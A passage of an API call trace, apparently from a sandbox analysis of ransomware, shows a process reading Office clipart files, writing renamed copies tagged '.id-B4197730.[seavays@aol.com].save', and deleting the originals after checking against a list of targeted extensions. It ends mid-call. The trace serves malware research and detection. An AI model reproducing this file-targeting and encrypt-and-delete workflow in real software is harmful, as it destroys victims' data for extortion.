[0197.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0197.117] lstrlenW (lpString=".1cd") returned 4 [0197.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0197.118] lstrlenW (lpString=".jpg") returned 4 [0197.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.119] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.120] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0197.121] GetLastError () returned 0x0 [0197.121] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3cce, lpOverlapped=0x0) returned 1 [0197.127] WriteFile (in: hFile=0x548, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3cd0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3cd0, lpOverlapped=0x0) returned 1 [0197.128] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.128] WriteFile (in: hFile=0x548, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.128] SetEndOfFile (hFile=0x548) returned 1 [0197.128] CloseHandle (hObject=0x548) returned 1 [0197.128] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.129] SetEndOfFile (hFile=0x510) returned 1 [0197.133] CloseHandle (hObject=0x510) returned 1 [0197.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf")) returned 1 [0197.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0197.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0197.134] lstrlenW (lpString=".doc") returned 4 [0197.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.135] lstrlenW (lpString=".docx") returned 5 [0197.135] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0197.135] lstrlenW (lpString=".pdf") returned 4 [0197.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.135] lstrlenW (lpString=".xls") returned 4 [0197.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.135] lstrlenW (lpString=".xlsx") returned 5 [0197.135] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0197.135] lstrlenW (lpString=".ppt") returned 4 [0197.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0197.135] lstrlenW (lpString=".zip") returned 4 [0197.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.135] lstrlenW (lpString=".rar") returned 4 [0197.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.135] lstrlenW (lpString=".bz2") returned 4 [0197.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.135] lstrlenW (lpString=".7z") returned 3 [0197.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0197.135] lstrlenW (lpString=".dbf") returned 4 [0197.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0197.135] lstrlenW (lpString=".1cd") returned 4 [0197.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0197.136] lstrlenW (lpString=".jpg") returned 4 [0197.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.137] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.137] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0197.139] GetLastError () returned 0x0 [0197.139] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xd6b4, lpOverlapped=0x0) returned 1 [0197.142] WriteFile (in: hFile=0x548, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xd6c0, lpOverlapped=0x0) returned 1 [0197.145] ReadFile (in: hFile=0x510, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.145] WriteFile (in: hFile=0x548, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.145] SetEndOfFile (hFile=0x548) returned 1 [0197.145] CloseHandle (hObject=0x548) returned 1 [0197.145] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.145] SetEndOfFile (hFile=0x510) returned 1 [0197.649] CloseHandle (hObject=0x510) returned 1 [0197.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf")) returned 1 [0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0198.146] lstrlenW (lpString=".doc") returned 4 [0198.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.146] lstrlenW (lpString=".docx") returned 5 [0198.146] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.146] lstrlenW (lpString=".pdf") returned 4 [0198.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.146] lstrlenW (lpString=".xls") returned 4 [0198.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.146] lstrlenW (lpString=".xlsx") returned 5 [0198.146] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.146] lstrlenW (lpString=".ppt") returned 4 [0198.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0198.146] lstrlenW (lpString=".zip") returned 4 [0198.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.146] lstrlenW (lpString=".rar") returned 4 [0198.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.146] lstrlenW (lpString=".bz2") returned 4 [0198.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.146] lstrlenW (lpString=".7z") returned 3 [0198.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0198.146] lstrlenW (lpString=".dbf") returned 4 [0198.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0198.147] lstrlenW (lpString=".1cd") returned 4 [0198.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF") returned 68 [0198.147] lstrlenW (lpString=".jpg") returned 4 [0198.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.149] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.149] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0198.150] GetLastError () returned 0x0 [0198.150] ReadFile (in: hFile=0x48c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x9d6c, lpOverlapped=0x0) returned 1 [0198.174] WriteFile (in: hFile=0x528, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x9d70, lpOverlapped=0x0) returned 1 [0198.177] ReadFile (in: hFile=0x48c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.177] WriteFile (in: hFile=0x528, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.177] SetEndOfFile (hFile=0x528) returned 1 [0198.177] CloseHandle (hObject=0x528) returned 1 [0198.177] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.177] SetEndOfFile (hFile=0x48c) returned 1 [0198.406] CloseHandle (hObject=0x48c) returned 1 [0198.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf")) returned 1 [0199.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0199.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0199.548] lstrlenW (lpString=".doc") returned 4 [0199.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.548] lstrlenW (lpString=".docx") returned 5 [0199.548] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0199.548] lstrlenW (lpString=".pdf") returned 4 [0199.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.548] lstrlenW (lpString=".xls") returned 4 [0199.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.548] lstrlenW (lpString=".xlsx") returned 5 [0199.549] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0199.549] lstrlenW (lpString=".ppt") returned 4 [0199.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0199.549] lstrlenW (lpString=".zip") returned 4 [0199.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.549] lstrlenW (lpString=".rar") returned 4 [0199.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.549] lstrlenW (lpString=".bz2") returned 4 [0199.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.549] lstrlenW (lpString=".7z") returned 3 [0199.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0199.549] lstrlenW (lpString=".dbf") returned 4 [0199.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0199.549] lstrlenW (lpString=".1cd") returned 4 [0199.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0199.549] lstrlenW (lpString=".jpg") returned 4 [0199.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.551] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.551] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0199.553] GetLastError () returned 0x0 [0199.553] ReadFile (in: hFile=0x458, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1f7c, lpOverlapped=0x0) returned 1 [0199.555] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1f80, lpOverlapped=0x0) returned 1 [0199.556] ReadFile (in: hFile=0x458, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.556] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.556] SetEndOfFile (hFile=0x51c) returned 1 [0199.557] CloseHandle (hObject=0x51c) returned 1 [0199.557] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.557] SetEndOfFile (hFile=0x458) returned 1 [0199.560] CloseHandle (hObject=0x458) returned 1 [0199.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf")) returned 1 [0199.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0199.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0199.563] lstrlenW (lpString=".doc") returned 4 [0199.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.563] lstrlenW (lpString=".docx") returned 5 [0199.563] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.563] lstrlenW (lpString=".pdf") returned 4 [0199.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.563] lstrlenW (lpString=".xls") returned 4 [0199.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.563] lstrlenW (lpString=".xlsx") returned 5 [0199.563] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.563] lstrlenW (lpString=".ppt") returned 4 [0199.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0199.563] lstrlenW (lpString=".zip") returned 4 [0199.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.563] lstrlenW (lpString=".rar") returned 4 [0199.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.563] lstrlenW (lpString=".bz2") returned 4 [0199.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.563] lstrlenW (lpString=".7z") returned 3 [0199.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0199.563] lstrlenW (lpString=".dbf") returned 4 [0199.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0199.563] lstrlenW (lpString=".1cd") returned 4 [0199.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0199.564] lstrlenW (lpString=".jpg") returned 4 [0199.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.566] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.566] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0199.568] GetLastError () returned 0x0 [0199.568] ReadFile (in: hFile=0x458, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x7a46, lpOverlapped=0x0) returned 1 [0199.571] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7a50, lpOverlapped=0x0) returned 1 [0199.573] ReadFile (in: hFile=0x458, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.573] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.573] SetEndOfFile (hFile=0x51c) returned 1 [0199.573] CloseHandle (hObject=0x51c) returned 1 [0199.574] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.574] SetEndOfFile (hFile=0x458) returned 1 [0199.578] CloseHandle (hObject=0x458) returned 1 [0199.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf")) returned 1 [0199.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0199.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0199.581] lstrlenW (lpString=".doc") returned 4 [0199.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.581] lstrlenW (lpString=".docx") returned 5 [0199.581] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.581] lstrlenW (lpString=".pdf") returned 4 [0199.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.581] lstrlenW (lpString=".xls") returned 4 [0199.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.581] lstrlenW (lpString=".xlsx") returned 5 [0199.581] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.581] lstrlenW (lpString=".ppt") returned 4 [0199.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0199.581] lstrlenW (lpString=".zip") returned 4 [0199.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.581] lstrlenW (lpString=".rar") returned 4 [0199.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.581] lstrlenW (lpString=".bz2") returned 4 [0199.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.581] lstrlenW (lpString=".7z") returned 3 [0199.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0199.582] lstrlenW (lpString=".dbf") returned 4 [0199.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0199.582] lstrlenW (lpString=".1cd") returned 4 [0199.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0199.582] lstrlenW (lpString=".jpg") returned 4 [0199.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4 [0200.556] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.556] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0200.651] GetLastError () returned 0x0 [0200.651] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4c0a, lpOverlapped=0x0) returned 1 [0200.653] WriteFile (in: hFile=0x29c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4c10, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4c10, lpOverlapped=0x0) returned 1 [0200.655] ReadFile (in: 